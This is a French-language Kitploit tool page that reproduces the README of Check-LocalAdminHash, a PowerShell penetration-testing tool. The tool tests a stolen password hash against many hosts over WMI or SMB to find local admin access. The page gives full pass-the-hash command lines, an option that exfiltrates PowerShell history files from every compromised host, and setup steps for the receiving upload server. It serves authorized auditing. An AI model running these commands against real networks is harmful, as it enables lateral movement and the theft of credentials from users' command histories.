Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash est un outil PowerShell qui tente de s'authentifier sur plusieurs hôtes via WMI ou SMB en utilisant un hachage de mot de passe pour déterminer si les informations d'identification fournies sont celles d'un administrateur local. Il est utile si vous obtenez un hachage de mot de passe pour un utilisateur et souhaitez savoir sur quels postes il est administrateur local sur le réseau. C'est essentiellement un Frankenstein de deux de mes outils préférés combiné à un peu de mon propre code. Il utilise le projet Invoke-TheHash de Kevin Robertson (@kevin_robertson) pour la partie vérification des identifiants. De plus, le script utilise des modules de PowerView par Will Schroeder (@harmj0y) et Matt Graeber (@mattifestation) pour énumérer les ordinateurs du domaine et trouver des cibles pour tester les droits d'administration. | Kitploit
Outils/GitHubGitHub/dafthack/check-localadminhash
Escalade de PrivilègesAttaques de Mots de PasseMouvement LatéralCollecte d'InformationsTests d'Intrusion
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

17834il y a 7 ansVérifié par Kitploit

Check-LocalAdminHash est un outil PowerShell qui tente de s'authentifier sur plusieurs hôtes via WMI ou SMB en utilisant un hachage de mot de passe pour déterminer si les informations d'identification fournies sont celles d'un administrateur local. Il est utile si vous obtenez un hachage de mot de passe pour un utilisateur et souhaitez savoir sur quels postes il est administrateur local sur le réseau. C'est essentiellement un Frankenstein de deux de mes outils préférés combiné à un peu de mon propre code. Il utilise le projet Invoke-TheHash de Kevin Robertson (@kevin_robertson) pour la partie vérification des identifiants. De plus, le script utilise des modules de PowerView par Will Schroeder (@harmj0y) et Matt Graeber (@mattifestation) pour énumérer les ordinateurs du domaine et trouver des cibles pour tester les droits d'administration.

Partager

Check-LocalAdminHash

Check-LocalAdminHash est un outil PowerShell qui tente de s'authentifier sur plusieurs hôtes via WMI ou SMB en utilisant un hash de mot de passe pour déterminer si l'identifiant fourni est un administrateur local. Il est utile si vous obtenez un hash de mot de passe pour un utilisateur et que vous souhaitez savoir où il est administrateur local sur un réseau. C'est essentiellement un Frankenstein de deux de mes outils préférés, associé à du code personnel. Il utilise le projet Invoke-TheHash de Kevin Robertson (@kevin_robertson) pour la partie vérification des identifiants. De plus, le script utilise des modules de PowerView par Will Schroeder (@harmj0y) et Matt Graeber (@mattifestation) pour énumérer les ordinateurs du domaine et trouver des cibles pour tester l'accès administrateur.

alt text

La raison pour laquelle ce script existe est que, lors d'un audit, je voulais collecter tous les fichiers d'historique de la console PowerShell (PSReadline) de chaque système du réseau. L'historique de console PSReadline est essentiellement la version PowerShell de l'historique bash. Il peut contenir tellement de choses intéressantes que les gens tapent dans leurs terminaux, y compris des mots de passe. C'est pourquoi ce script inclut une option pour exfiltrer tous les fichiers PSReadline. Il y a une certaine configuration à faire pour cela. Voir la fin du Readme pour la configuration.

Pour plus d'informations, lisez le blog ici : https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

Exemples

Vérification du hash d'administrateur local sur tous les hôtes via WMI

Cette commande utilisera le domaine 'testdomain.local' pour rechercher tous les systèmes, puis tentera de s'authentifier sur chacun d'eux en utilisant l'utilisateur 'testdomain.local\PossibleAdminUser' et un hash de mot de passe via WMI.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

Exfiltrer tous les fichiers d'historique de console PSReadline

Cette commande utilisera le domaine 'testdomain.local' pour rechercher tous les systèmes, puis tentera de s'authentifier sur chacun d'eux en utilisant l'utilisateur 'testdomain.local\PossibleAdminUser' et un hash de mot de passe via WMI. Elle tente ensuite de localiser les fichiers d'historique de la console PowerShell (PSReadline) pour chaque profil sur chaque système, puis les POSTe vers un serveur web. Voir la fin du Readme pour la configuration du serveur.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

Utilisation d'une plage CIDR

Cette commande utilisera la plage CIDR fournie pour générer une liste de cibles, puis tentera de s'authentifier sur chacune d'elles en utilisant l'utilisateur local 'PossibleAdminUser' et un hash de mot de passe via WMI.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

Utilisation d'une liste de cibles et SMB avec sortie vers un fichier

Cette commande utilisera la liste de cibles fournie et tentera de s'authentifier sur chaque hôte en utilisant l'utilisateur local 'PossibleAdminUser' et un hash de mot de passe via SMB.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

Cible unique

Cette commande tente d'effectuer une authentification locale pour l'utilisateur Administrator sur le système 192.168.0.16 via SMB.

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Options de Check-LocalAdminHash

root@kitploit:~
Username - Le nom d'utilisateur pour la tentative d'authentification.
PasswordHash - Hash de mot de passe de l'utilisateur.
TargetSystem - Nom d'hôte ou IP unique pour la tentative d'authentification.
TargetList - Liste des hôtes à analyser, un par ligne.
AllSystems - Un commutateur qui, lorsqu'il est activé, utilise les modules PowerView pour énumérer tous les systèmes du domaine. Cette liste est ensuite utilisée pour vérifier l'accès administrateur local.
Domain - Le domaine que PowerView utilisera pour découvrir les systèmes.
UserDomain - Le domaine de l'utilisateur pour s'authentifier sur chaque système. N'utilisez pas ce drapeau si vous utilisez un identifiant local au lieu d'un identifiant de domaine.
Protocol - Ce paramètre détermine si le hash est vérifié via WMI ou SMB. La valeur par défaut est 'WMI', mais mettez-la à 'SMB' pour vérifier via ce protocole.
CIDR - Spécifiez une plage réseau au format CIDR, par exemple 192.168.0.0/24.
Threads - Par défaut, 5 threads. (J'ai rencontré quelques problèmes étranges en fixant plus de 15 threads, certains résultats ne revenant pas.)
ExfilPSReadline - Pour chaque système où l'authentification réussit, exécute une commande PowerShell pour localiser les fichiers d'historique de la console PSReadLine (historique des commandes PowerShell), puis les POSTe vers un serveur web. Voir le Readme pour la configuration du serveur.

Configuration de l'exfiltration PSReadline

Ceci est votre avertissement : vous êtes sur le point de configurer un serveur accessible depuis Internet qui acceptera des téléchargements de fichiers. C'est généralement une très mauvaise chose à faire. Prenez donc absolument des précautions. Je recommande de verrouiller les règles du pare-feu pour que seule l'adresse IP qui téléchargera les fichiers PSReadline puisse atteindre le serveur web. De plus, tant que nous parlons de sécurité, cela fonctionnera très bien avec une connexion HTTPS, donc configurez votre domaine et votre certificat pour que les fichiers PSReadline soient envoyés chiffrés sur le réseau. Vous êtes prévenus...

  • Configurez un serveur à l'endroit où vous souhaitez que les fichiers soient envoyés. Ce serveur doit être accessible via HTTP/HTTPS depuis chaque système.

  • Copiez le script index.php de ce dépôt et placez-le dans /index.php à la racine web (/var/www/html) de votre serveur web.

  • Créez un répertoire uploads

mkdir /var/www/html/uploads

  • Modifiez les permissions de ce répertoire

chmod 0777 /var/www/html/uploads

  • Assurez-vous que PHP est installé

apt-get install php

  • Redémarrez Apache

service apache2 restart

  • Dans le script Check-LocalAdminHash.ps1 lui-même, descendez jusqu'à la fonction "Gen-EncodedUploadScript" et modifiez la variable "$Url" juste en dessous de "$UnencodedCommand". Pointez-la vers la page index.php de votre serveur web. Je n'ai pas encore trouvé comment passer la variable UploadUrl dans cette partie du code qui finit encodée et exécutée sur les systèmes cibles, donc codifiez-la en dur pour l'instant.

Désormais, lorsque vous exécutez Check-LocalAdminHash avec le drapeau -ExfilPSReadline, il tentera de POSTer chaque fichier PSReadline (s'il y en a) vers votre serveur web.

alt text

Crédits

Check-LocalAdminHash est en grande partie un Frankenstein de deux de mes outils préférés, PowerView et Invoke-TheHash. 95 % du code provient de ces deux outils. Le crédit revient donc à Kevin Robertson (@kevin_robertson) pour Invoke-TheHash, et à Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (et toute autre personne ayant travaillé sur PowerView). Sans ces deux outils, ce script n'existerait pas. Un grand merci également à Steve Borosh (@424f424f) pour son aide sur le threading et pour être un type génial en général.

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

Télécharger l’outil